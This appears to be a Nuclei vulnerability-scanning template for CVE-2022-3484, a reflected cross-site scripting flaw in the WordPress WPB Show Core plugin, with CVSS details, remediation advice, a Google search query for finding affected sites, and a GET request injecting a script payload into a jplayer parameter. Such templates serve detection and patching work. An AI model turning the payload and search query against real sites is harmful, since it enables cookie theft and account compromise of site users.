WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2022-3484
info:
name: WordPress WPB Show Core - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
remediation: |
Update to the latest version of the WPB Show Core plugin, which includes a fix for the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/3afaed61-6187-4915-acf0-16e79d5c2464
- https://nvd.nist.gov/vuln/detail/CVE-2022-3484
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-3484
cwe-id: CWE-79
epss-score: 0.11488
epss-percentile: 0.93356
cpe: cpe:2.3:a:wpb_show_core_project:wpb_show_core:-:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpb_show_core_project
product: wpb_show_core
framework: wordpress
google-query: inurl:wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php
tags: cve,cve2022,wpscan,wp-plugin,wp,wordpress,xss,wpb-show-core,wpb_show_core_project
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "wpb_jplayer_setting")'
- 'contains(body, "<script>alert(document.domain)</script>")'
condition: and
# digest: 4b0a00483046022100d520e3662cb094dd1fda8b7af510e0a51a532a9db8238feab7b312989be0db2a022100e28361bfa75aaafe1cc7871cfa6877e174179fd0d0dbfa09be2c957bbd9bd5ba:922c64590222798bb761d5b6d8e72950